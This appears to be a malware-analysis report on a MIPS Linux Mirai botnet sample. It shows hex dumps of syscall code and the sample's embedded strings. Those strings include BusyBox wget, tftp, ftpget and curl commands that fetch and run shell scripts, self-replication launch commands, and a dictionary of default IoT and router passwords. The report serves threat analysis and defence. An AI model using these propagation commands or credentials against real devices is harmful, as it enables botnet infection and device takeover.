Hostile 100% linux Download

8efabb91021dcac171aee876e7b0ba3af2f2eb41803d33cee8b497918c4b6794.sample

Mirai botnet malware

IoT credential table with BusyBox download-and-shell chainIoT credentials with self-image path and chmod-launch commands

Evidence

Big-endian MIPS direct system-call instruction 0x156ce–0x1578e
⋯3 more rows
0x156fe602124070018240f0020000d36029105`!$...$.. ..6...
0x1570e0000000c120000c21025000d1a0024e7.........%....$.
0x1571e0001250800010040602114effff70065..%....@`!.....e
⋯7 more rows
Big-endian MIPS open/create flags 0x1f23c–0x1f49c
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0x1f2ac27bdffe0afbf001cafb00018afbc0010'...............
0x1f2bc24020fc50000000c8f9981e010e00006$...............
0x1f2cc004080210320f809000000008fbc0010.@.!. ..........
0x1f2dcac5000002410ffff020010218fbf001c.P..$......!....
⋯12 more rows
0x1f3acafa6003027a20034afa2001800c01821...0'..4.......!
0x1f3bc0060302124020fa50000000c8f9981e0.`0!$...........
0x1f3cc10e00006004080210320f80900000000.....@.!. ......
0x1f3dc8fbc0010ac5000002410ffff02001021.....P..$......!
0x1f3ec8fbf00248fb0002003e0000827bd0028...$... ....'..(
0x1f3fc3c1c0005279c79440399e0218f998038<...'.yD...!...8
0x1f40c00a03021032000082405030100000000..0!. ..$.......
0x1f41c000000003c1c0005279c79200399e021....<...'.y ...!
0x1f42c27bdffd8afbe001c03a0f021afbf0020'..........!...
⋯7 more rows
Big-endian MIPS direct bind syscall 0x2414c–0x243bc
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0x2417c27bdffe0afbf001cafb00018afbc0010'...............
0x2418c240210490000000c8f9981e010e00006$..I............
0x2419c004080210320f809000000008fbc0010.@.!. ..........
0x241acac5000002402ffff8fbf001c8fb00018.P..$...........
0x241bc03e0000827bd00200000000000000000....'.. ........
0x241cc000000003c1c0005279c2b700399e021....<...'.+p...!
0x241dc27bdffe0afbf001cafb00018afbc0010'...............
0x241ec2402104a0000000c8f9981e010e00006$..J............
0x241fc004080210320f809000000008fbc0010.@.!. ..........
0x2420cac5000002402ffff8fbf001c8fb00018.P..$...........
⋯16 more rows
0x2431c27bdffe0afbf001cafb00018afbc0010'...............
0x2432c2402104e0000000c8f9981e010e00006$..N............
0x2433c004080210320f809000000008fbc0010.@.!. ..........
0x2434cac5000002402ffff8fbf001c8fb00018.P..$...........
⋯7 more rows
Big-endian MIPS direct socket syscall 0x2458c–0x2465c
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0x245bc27bdffe0afbf001cafb00018afbc0010'...............
0x245cc240210570000000c8f9981e010e00006$..W............
0x245dc004080210320f809000000008fbc0010.@.!. ..........
0x245ecac5000002402ffff8fbf001c8fb00018.P..$...........
⋯7 more rows
IP camera credential 0x2c20c–0x2c4fc
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0x2c27c6c6500007368656c6c00000073680000le..shell...sh..
0x2c28c6c696e75787368656c6c000070696e67linuxshell..ping
0x2c29c203b73680000000075736167653a2062 ;sh....usage: b
0x2c2ac757379626f7800002f62696e2f627573usybox../bin/bus
0x2c2bc79626f7820686f73746e616d65205042ybox hostname PB
0x2c2cc4f4300002f62696e2f62757379626f78OC../bin/busybox
0x2c2dc206563686f203e20000000002e622026 echo > .....b &
0x2c2ec26207368200000002e62202626206364& sh ....b && cd
0x2c2fc20000000202e6b007368202e6b000000 ... .k.sh .k...
0x2c30c2f62696e2f62757379626f7820776765/bin/busybox wge
0x2c31c7420687474703a2f2f0000002f776765t http://.../wge
0x2c32c742e7368202d4f2d207c2073683b2f62t.sh -O- | sh;/b
0x2c33c696e2f62757379626f78207466747020in/busybox tftp
0x2c34c2d672000202d7220746674702e736820-g . -r tftp.sh
0x2c35c2d6c2d207c2073683b2f62696e2f6275-l- | sh;/bin/bu
0x2c36c7379626f782066747067657420000000sybox ftpget ...
0x2c37c206674706765742e7368206674706765 ftpget.sh ftpge
0x2c38c742e7368202626207368206674706765t.sh && sh ftpge
0x2c39c742e73683b6375726c20687474703a2ft.sh;curl http:/
0x2c3ac2f0000002f6375726c2e7368202d6f2d/.../curl.sh -o-
0x2c3bc207c2073680000002f62696e2f627573 | sh.../bin/bus
0x2c3cc79626f782063686d6f64202b78202e64ybox chmod +x .d
0x2c3dc3b202e2f2e643b202e2f64767248656c; ./.d; ./dvrHel
0x2c3ec7065722073656c6672657000314e4633per selfrep.1NF3
0x2c3fc43374544354c55523500000047455420C7ED5LUR5...GET
0x2c40c2f646c722e00000020485454502f312e/dlr.... HTTP/1.
0x2c41c300d0a0d0a0000002f62696e2f6275730......./bin/bus
0x2c42c79626f78206563686f202d6e65200000ybox echo -ne ..
0x2c43c203e3e00203e0000202e64000d0a0000 >>. >.. .d.....
0x2c44c474554202f623220485454502f312e30GET /b2 HTTP/1.0
0x2c45c0d0a0d0a00000000256868752e256868........%hhu.%hh
0x2c46c75000000030000002f62696e2f627573u......./bin/bus
0x2c47c79626f7800000000726f6f7400000000ybox....root....
0x2c48c727a61646d696e00506f6e3532310000rzadmin.Pon521..
0x2c49c5a746535323100005a78696335323100Zte521..Zxic521.
0x2c4ac78697274616d000061646d696e485700xirtam..adminHW.
0x2c4bc61646d696e00000061646d696e74656cadmin...admintel
0x2c4cc65636f6d0000000074656c65636f6d61ecom....telecoma
0x2c4dc646d696e00000000737570706f727461dmin....supporta
0x2c4ec646d696e00000000653865686f6d6500dmin....e8ehome.
0x2c4fc653874656c6e65740000000032363031e8telnet....2601

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